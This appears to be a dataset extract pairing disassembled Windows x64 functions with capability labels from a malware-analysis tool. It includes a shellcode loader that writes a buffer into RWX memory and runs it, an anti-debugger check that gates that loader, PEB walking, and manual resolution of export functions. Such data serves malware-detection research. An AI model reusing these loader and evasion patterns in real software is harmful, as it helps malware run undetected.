joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov r14, r8
mov rdi, rdx
mov r15, rcx
mov ecx, dword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 0x40
xor esi, esi
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8, rdi
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x1400014d8
mov rbx, rax
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rbx
mov r8, r15
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400014d6
mov qword [r14], 0
call rbx
mov rsi, rax
jmp 0x1400014d8
xor esi, esi
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1400014f0
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str._api_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x140001583
call fcn.140062c00
cmp byte [rax + 2], 0
jne 0x140001583
test byte [rax + 0xbc], 0x70
jne 0x140001583
call fcn.140063270
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x140066508]
mov edx, dword [rax]
mov rax, qword [0x140066510]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x140066500]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001450
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.140063c90
nop
add rsp, 0x20
pop rbp
jmp 0x1400014f0

Function at 0x140001590
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x38
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, str._api_
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x140001583
call fcn.140062c00
cmp byte [rax + 2], 0
jne 0x140001583
test byte [rax + 0xbc], 0x70
jne 0x140001583
call fcn.140063270
mov qword [rsp + 0x30], 0xffffffffffffffff
mov rax, qword [0x140066508]
mov edx, dword [rax]
mov rax, qword [0x140066510]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rcx, qword [0x140066500]
lea r8, [rsp + 0x30]
mov r9d, 1
call fcn.140001450
test rax, rax
sete al
cmp qword [rsp + 0x30], 0xffffffffffffffff
sete cl
or cl, al
movzx eax, cl
neg eax
add rsp, 0x38
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
int3
push rbp
sub rsp, 0x20
lea rbp, [rsp + 0x20]
call fcn.140063c90
nop
add rsp, 0x20
pop rbp
jmp 0x1400014f0

Function at 0x140062c10
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
ret
Function at 0x1400637e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r15, rdx
mov r12, rcx
movsxd r13, dword [rcx + 0x3c]
mov ebx, dword [rcx + r13 + 0x54]
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x14006384a
lea r9, [rsp + 0x20]
mov rcx, r15
mov rdx, rbx
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14006384a
mov rcx, r15
mov rdx, r12
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [r12 + r13 + 6]
test ax, ax
je 0x1400638ec
movsxd rcx, dword [r12 + 0x3c]
lea rbp, [rcx + r12]
add rbp, 0x110
xor r14d, r14d
jmp 0x140063886
movzx eax, word [r12 + r13 + 6]
add r14, 1
movzx ecx, ax
add rbp, 0x28
cmp r14, rcx
jae 0x1400638ec
cmp dword [rbp + 0x1c], 0
js 0x140063876
mov ebx, dword [rbp]
mov esi, dword [rbp + 4]
lea rdi, [r12 + rsi]
add rsi, r15
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140063870
mov rcx, rsi
mov rdx, rbx
mov r8d, 0x40
lea r9, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140063870
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcpy
mov r8d, dword [rsp + 0x24]
mov rcx, rsi
mov rdx, rbx
lea r9, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x140063870
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140063970
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
test rcx, rcx
je 0x140063b4a
mov rsi, rdx
mov rbx, rcx
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rax + rcx + 0x88]
mov r13d, dword [rdi + rcx + 0x1c]
add r13, rcx
test esi, 0xffff0000
je 0x140063a06
mov ebp, dword [rbx + rdi + 0x18]
test ebp, ebp
je 0x140063b4a
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r8
mov r14d, dword [rbx + rdi + 0x20]
mov r15d, dword [rbx + rdi + 0x24]
add r14, rbx
add r15, rbx
xor r12d, r12d
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, dword [r14]
add rcx, rbx
mov rdx, rsi
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x140063a1a
add ebp, 0xffffffff
add r14, 4
add r15, 2
test ebp, ebp
jne 0x1400639e0
jmp 0x140063b52
movzx eax, si
mov ecx, dword [rbx + rdi + 0x10]
sub rax, rcx
mov r12d, dword [r13 + rax*4]
jmp 0x140063b4f
movzx eax, word [r15]
mov r12d, dword [r13 + rax*4]
cmp edi, r12d
ja 0x140063b4f
mov rax, qword [rsp + 0x38]
add edi, dword [rbx + rax + 0x8c]
cmp r12d, edi
jae 0x140063b4f
add r12, rbx
mov rcx, r12
mov edx, 0x2e
call sub.msvcrt.dll_strchr
mov r14, rax
add r14, 1
mov rsi, r14
sub rsi, r12
lea rcx, [rsi + 4]
mov edx, 2
call sub.msvcrt.dll_calloc
test rax, rax
je 0x140063b4a
mov rbx, rax
lea r8, [rsi + 1]
mov qword [rsp + 0x20], rsi
xor ecx, ecx
mov rdx, rax
mov r9, r12
call qword [sym.imp.msvcrt.dll_mbstowcs_s]
mov eax, dword [0x140066016]
mov dword [rbx + rsi*2], eax
movzx eax, word [0x14006601a]
mov word [rbx + rsi*2 + 4], ax
lea rdx, [0x140066002]
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsnicmp]
test eax, eax
je 0x140063ad8
lea rdx, str.ext_
mov r8d, 4
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__wcsnicmp]
test eax, eax
jne 0x140063b26
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
call fcn.140062c30
test rax, rax
je 0x140063b26
mov rsi, rax
mov rcx, rbx
call sub.msvcrt.dll_free
mov rdi, qword [rsp + 0x40]
lea rcx, [rdi + 1]
mov edx, 2
call sub.msvcrt.dll_calloc
test rax, rax
je 0x140063b4a
mov rbx, rax
add rdi, rdi
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, r14
mov r8, rbx
call fcn.140063970
mov r12, rax
mov rcx, rbx
call sub.msvcrt.dll_free
jmp 0x140063b52
xor r12d, r12d
jmp 0x140063b52
add r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x140063ea0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140064cf0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140064cf0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140063f10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400690b4]
mov rbx, rcx
test esi, esi
jle 0x140064040
mov rax, qword [0x1400690b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140063f5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140063fe5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140063f40
mov rcx, rbx
call fcn.140064960
mov rdi, rax
test rax, rax
je 0x140064062
mov rax, qword [0x1400690b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140064aa0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400690b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140064047
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140063fde
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140063ff0
add dword [0x1400690b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400690b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140063fde
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140063ea0
nop dword [rax]
xor esi, esi
jmp 0x140063f68
mov rax, qword [0x1400690b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140063ea0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140063ea0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400645d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140069120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140069100]
test rbx, rbx
je 0x14006462c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140064623
test rsi, rsi
je 0x140064623
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140064608
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140064960
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400663b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140064980
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140064988
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140064980
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400649dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400649d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140064980
add rax, 0x28
cmp rax, r9
jne 0x1400649c0
xor eax, eax
ret

Function at 0x1400649e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400663b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400649ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140064a08
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400649ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140064aa0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400663b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140064abf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140064ac8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x10001e024
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
push r12
sub rsp, 0xb0
and dword [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x1000301f8], rdi
je 0x10001e07d
cmp rax, rdi
jne 0x10001e070
mov esi, 1
jmp 0x10001e07d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001e057
mov eax, dword [0x1000301f0]
cmp eax, 1
jne 0x10001e092
lea ecx, [rax + 0x1e]
call fcn.10014f000
jmp 0x10001e0f7
mov eax, dword [0x1000301f0]
test eax, eax
jne 0x10001e0ed
mov dword [0x1000301f0], 1
lea r12, [0x100001690]
lea rdi, [0x100001678]
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
cmp rdi, r12
jae 0x10001e0df
test eax, eax
jne 0x10001e0df
mov rcx, qword [rdi]
test rcx, rcx
je 0x10001e0d4
call rcx
mov dword [rsp + 0x30], eax
add rdi, 8
mov qword [rsp + 0x38], rdi
jmp 0x10001e0bd
test eax, eax
je 0x10001e0f7
mov eax, 0xff
jmp 0x10001e241
mov dword [0x10002f924], 1
mov eax, dword [0x1000301f0]
cmp eax, 1
jne 0x10001e11f
lea rdx, [0x100001670]
lea rcx, [0x1000015f8]
call sub.msvcrt.dll__initterm
mov dword [0x1000301f0], 2
test esi, esi
jne 0x10001e12c
xor eax, eax
xchg qword [0x1000301f8], rax
cmp qword [0x100030210], 0
je 0x10001e155
lea rcx, [0x100030210]
call fcn.10001e5dc
test eax, eax
je 0x10001e155
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100030210]
mov rax, qword [sym.imp.msvcrt.dll__acmdln]
mov rdi, qword [rax]
mov qword [rsp + 0x28], rdi
mov esi, dword [rsp + 0x20]
cmp byte [rdi], 0x20
ja 0x10001e1e0
cmp byte [rdi], 0
je 0x10001e176
test esi, esi
jne 0x10001e1e0
cmp byte [rdi], 0
je 0x10001e18a
cmp byte [rdi], 0x20
ja 0x10001e18a
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10001e176
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rdi
xor edx, edx
lea rcx, [0x100000000]
call fcn.100008db4
mov dword [0x10002f920], eax
cmp dword [0x10002f904], 0
jne 0x10001e1c9
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x10002f924], 0
jne 0x10001e1de
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x10002f920]
jmp 0x10001e241
cmp byte [rdi], 0x22
jne 0x10001e1f2
xor eax, eax
test esi, esi
sete al
mov esi, eax
mov dword [rsp + 0x20], eax
movzx ecx, byte [rdi]
call qword [sym.imp.msvcrt.dll__ismbblead]
test eax, eax
je 0x10001e207
inc rdi
mov qword [rsp + 0x28], rdi
inc rdi
mov qword [rsp + 0x28], rdi
jmp 0x10001e168
lea r11, [rsp + 0xb0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop r12
ret
sub rsp, 0x28
call fcn.10001e6e4
add rsp, 0x28
jmp 0x10001e024
Function at 0x18009a524
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push r14
sub rsp, 0x60
and dword [rax - 0x48], 0
mov rdi, rcx
mov r8d, dword [0x1802203cc]
mov sil, dl
movaps xmmword [rax - 0x18], xmm6
movss xmm6, dword [0x18008ba4c]
mov dword [rax - 0x40], 0xff
mov rax, qword gs:[0x58]
mov ecx, 4
mov r9, qword [rax + r8*8]
mov eax, dword [rcx + r9]
cmp dword [0x180220eb0], eax
jg 0x18009a6f6
movabs rbx, 0xcbf29ce484222325
xor edx, edx
mov rcx, rbx
movabs r14, 0x100000001b3
movzx eax, byte [rsp + rdx + 0x70]
inc rdx
xor rcx, rax
imul rcx, r14
cmp rdx, 8
jb 0x18009a59c
mov rax, qword [0x180220ea0]
mov rdx, qword [0x180220e88]
and rax, rcx
mov r9, qword [0x180220e78]
add rax, rax
mov rcx, qword [rdx + rax*8 + 8]
cmp rcx, r9
je 0x18009a5ed
mov r8, qword [rdx + rax*8]
jmp 0x18009a5e5
cmp rcx, r8
je 0x18009a5ed
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x18009a5dc
jmp 0x18009a5ef
xor ecx, ecx
test rcx, rcx
mov rax, r9
cmovne rax, rcx
cmp rax, r9
jne 0x18009a670
and dword [rsp + 0x38], 0
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x30], rdi
call fcn.18009ae90
xor ecx, ecx
movzx eax, byte [rsp + rcx + 0x70]
inc rcx
xor rbx, rax
imul rbx, r14
cmp rcx, 8
jb 0x18009a619
and rbx, qword [0x180220ea0]
mov rdx, qword [0x180220e88]
add rbx, rbx
mov rax, qword [0x180220e78]
mov rcx, qword [rdx + rbx*8 + 8]
cmp rcx, rax
je 0x18009a667
mov r8, qword [rdx + rbx*8]
jmp 0x18009a65f
cmp rcx, r8
je 0x18009a667
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x18009a656
jmp 0x18009a669
xor ecx, ecx
test rcx, rcx
cmovne rax, rcx
mov rcx, qword [0x180220b80]
lea r8, [rax + 0x18]
mov edx, dword [r8]
subss xmm6, dword [rcx + 0x18]
mulss xmm6, dword [0x18008bb38]
test sil, sil
je 0x18009a6a5
cmp edx, 0xff
jge 0x18009a6bb
movd xmm0, edx
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
jmp 0x18009a6b4
test edx, edx
jle 0x18009a6bb
movd xmm0, edx
cvtdq2ps xmm0, xmm0
subss xmm0, xmm6
cvttss2si edx, xmm0
mov dword [r8], edx
movaps xmm6, xmmword [rsp + 0x50]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
lea rcx, [rsp + 0x20]
mov rsi, qword [r11 + 0x20]
lea rax, [rsp + 0x28]
mov rdi, qword [r11 + 0x28]
test edx, edx
cmovns rcx, r8
cmp edx, 0xff
cmovle rax, rcx
mov eax, dword [rax]
mov dword [r8], eax
mov rsp, r11
pop r14
ret
lea rcx, [0x180220eb0]
call fcn.1801250d8
cmp dword [0x180220eb0], 0xffffffff
jne 0x18009a583
mov ecx, 0x20
call fcn.180124f08
xorps xmm0, xmm0
lea rcx, [0x180220e88]
mov r8, rax
mov edx, 0x10
mov qword [rax], rax
mov qword [rax + 8], rax
and qword [0x180220e88], 0
mov qword [0x180220e78], rax
movdqa xmmword [0x180220e90], xmm0
mov qword [0x180220ea0], 7
mov qword [0x180220ea8], 8
mov dword [0x180220e70], 0x3f800000
call fcn.18009ab0c
lea rcx, [0x1801911e0]
call fcn.180125550
lea rcx, [0x180220eb0]
call fcn.180125078
jmp 0x18009a583
Function at 0x18009a82c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
movss dword [rax + 0x20], xmm3
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x70
and dword [rax - 0x68], 0
mov rdi, rcx
mov r8d, dword [0x1802203cc]
mov sil, dl
movaps xmmword [rax - 0x28], xmm6
movss xmm6, dword [0x18008ba4c]
movaps xmmword [rax - 0x38], xmm7
movaps xmm7, xmm3
mov rax, qword gs:[0x58]
mov ecx, 4
mov r9, qword [rax + r8*8]
mov eax, dword [rcx + r9]
cmp dword [0x180220eb4], eax
jg 0x18009a9fa
movabs rbx, 0xcbf29ce484222325
xor edx, edx
mov rcx, rbx
movabs rbp, 0x100000001b3
movzx eax, byte [rsp + rdx + 0x90]
inc rdx
xor rcx, rax
imul rcx, rbp
cmp rdx, 8
jb 0x18009a8a2
mov rax, qword [0x180220e60]
mov rdx, qword [0x180220e48]
and rax, rcx
mov r9, qword [0x180220e38]
add rax, rax
mov rcx, qword [rdx + rax*8 + 8]
cmp rcx, r9
je 0x18009a8f6
mov r8, qword [rdx + rax*8]
jmp 0x18009a8ee
cmp rcx, r8
je 0x18009a8f6
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x18009a8e5
jmp 0x18009a8f8
xor ecx, ecx
test rcx, rcx
mov rax, r9
cmovne rax, rcx
cmp rax, r9
jne 0x18009a97c
and dword [rsp + 0x30], 0
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x28], rdi
call fcn.18009ac4c
xor ecx, ecx
movzx eax, byte [rsp + rcx + 0x90]
inc rcx
xor rbx, rax
imul rbx, rbp
cmp rcx, 8
jb 0x18009a922
and rbx, qword [0x180220e60]
mov rdx, qword [0x180220e48]
add rbx, rbx
mov rax, qword [0x180220e38]
mov rcx, qword [rdx + rbx*8 + 8]
cmp rcx, rax
je 0x18009a973
mov r8, qword [rdx + rbx*8]
jmp 0x18009a96b
cmp rcx, r8
je 0x18009a973
mov rcx, qword [rcx + 8]
cmp rdi, qword [rcx + 0x10]
jne 0x18009a962
jmp 0x18009a975
xor ecx, ecx
test rcx, rcx
cmovne rax, rcx
mov rcx, qword [0x180220b80]
lea rdx, [rax + 0x18]
movss xmm0, dword [rdx]
subss xmm6, dword [rcx + 0x18]
mulss xmm6, dword [0x18008b980]
test sil, sil
je 0x18009a9a8
comiss xmm0, xmm7
jae 0x18009a9b9
addss xmm0, xmm6
jmp 0x18009a9b5
comiss xmm0, dword [0x18008b92c]
jbe 0x18009a9b9
subss xmm0, xmm6
movss dword [rdx], xmm0
comiss xmm0, dword [0x18008b92c]
mov rbx, qword [rsp + 0x98]
lea rcx, [rsp + 0x20]
lea rax, [rsp + 0xa8]
movaps xmm6, xmmword [rsp + 0x60]
cmovae rcx, rdx
comiss xmm7, xmm0
movaps xmm7, xmmword [rsp + 0x50]
cmovae rax, rcx
movss xmm0, dword [rax]
movss dword [rdx], xmm0
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
lea rcx, [0x180220eb4]
call fcn.1801250d8
cmp dword [0x180220eb4], 0xffffffff
jne 0x18009a889
mov ecx, 0x20
call fcn.180124f08
xorps xmm0, xmm0
lea rcx, [0x180220e48]
mov r8, rax
mov edx, 0x10
mov qword [rax], rax
mov qword [rax + 8], rax
and qword [0x180220e48], 0
mov qword [0x180220e38], rax
movdqa xmmword [0x180220e50], xmm0
mov qword [0x180220e60], 7
mov qword [0x180220e68], 8
mov dword [0x180220e30], 0x3f800000
call fcn.18009ab0c
lea rcx, [0x1801911ec]
call fcn.180125550
lea rcx, [0x180220eb4]
call fcn.180125078
jmp 0x18009a889
Function at 0x18009ac4c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r12, r8
mov rsi, rdx
xor ecx, ecx
movabs r15, 0xcbf29ce484222325
movzx eax, byte [rcx + r8]
movabs rdx, 0x100000001b3
xor r15, rax
inc rcx
imul r15, rdx
cmp rcx, 8
jb 0x18009ac7b
mov rax, qword [0x180220e60]
mov rcx, qword [0x180220e48]
and rax, r15
mov r14, qword [0x180220e38]
add rax, rax
mov rbx, qword [rcx + rax*8 + 8]
cmp rbx, r14
jne 0x18009ace6
mov rbx, r14
mov rbp, r14
movabs rax, 0x7ffffffffffffff
cmp qword [0x180220e40], rax
jne 0x18009ad25
lea rcx, [0x180089670]
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
mov rdx, qword [rcx + rax*8]
mov rax, qword [r8]
jmp 0x18009acf8
cmp rbx, rdx
je 0x18009ad1b
mov rbx, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
jne 0x18009acef
mov r14, qword [rbx]
mov rax, rbx
mov rbp, r14
mov rbx, r14
test rax, rax
je 0x18009acc5
mov qword [rsi], rax
mov byte [rsi + 8], 0
jmp 0x18009ae6c
mov r14, rbx
xor eax, eax
mov rbp, rbx
jmp 0x18009ad0a
mov ecx, 0x20
call fcn.180124f08
movups xmm0, xmmword [r12]
mov rdi, rax
xorps xmm1, xmm1
movdqu xmmword [rax + 0x10], xmm0
mov r8, qword [0x180220e40]
lea rcx, [r8 + 1]
test rcx, rcx
js 0x18009ad56
cvtsi2ss xmm1, rcx
jmp 0x18009ad6b
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm1, rax
addss xmm1, xmm1
mov rcx, qword [0x180220e68]
xorps xmm0, xmm0
test rcx, rcx
js 0x18009ad81
cvtsi2ss xmm0, rcx
jmp 0x18009ad96
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm1, xmm0
movss xmm0, dword [0x180220e30]
comiss xmm0, xmm1
jae 0x18009ae04
call fcn.18009b0d4
mov rcx, qword [0x180220e60]
mov rdx, qword [0x180220e48]
and rcx, r15
mov rbx, qword [0x180220e38]
add rcx, rcx
mov rax, qword [rdx + rcx*8 + 8]
cmp rax, rbx
je 0x18009adf0
mov r8, qword [rdx + rcx*8]
mov rcx, qword [rdi + 0x10]
jmp 0x18009ade7
mov rbx, rax
cmp rax, r8
je 0x18009ae47
mov rax, qword [rax + 8]
cmp rcx, qword [rax + 0x10]
jne 0x18009addb
mov rbx, qword [rax]
mov qword [rsp + 0x20], rbx
mov r14, qword [rsp + 0x20]
mov rbp, rbx
mov r8, qword [0x180220e40]
mov rdx, qword [rbx + 8]
inc r8
mov qword [0x180220e40], r8
mov qword [rdi], r14
mov qword [rdi + 8], rdx
mov qword [rdx], rdi
mov qword [rbx + 8], rdi
mov rax, qword [0x180220e60]
mov rcx, qword [0x180220e48]
and rax, r15
add rax, rax
mov r8, qword [rcx + rax*8]
cmp r8, qword [0x180220e38]
jne 0x18009ae4e
mov qword [rcx + rax*8], rdi
jmp 0x18009ae60
mov qword [rsp + 0x20], rax
jmp 0x18009adf5
cmp r8, rbp
jne 0x18009ae59
mov qword [rcx + rax*8], rdi
jmp 0x18009ae65
cmp qword [rcx + rax*8 + 8], rdx
jne 0x18009ae65
mov qword [rcx + rax*8 + 8], rdi
mov qword [rsi], rdi
mov byte [rsi + 8], 1
mov rbx, qword [rsp + 0x50]
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
ret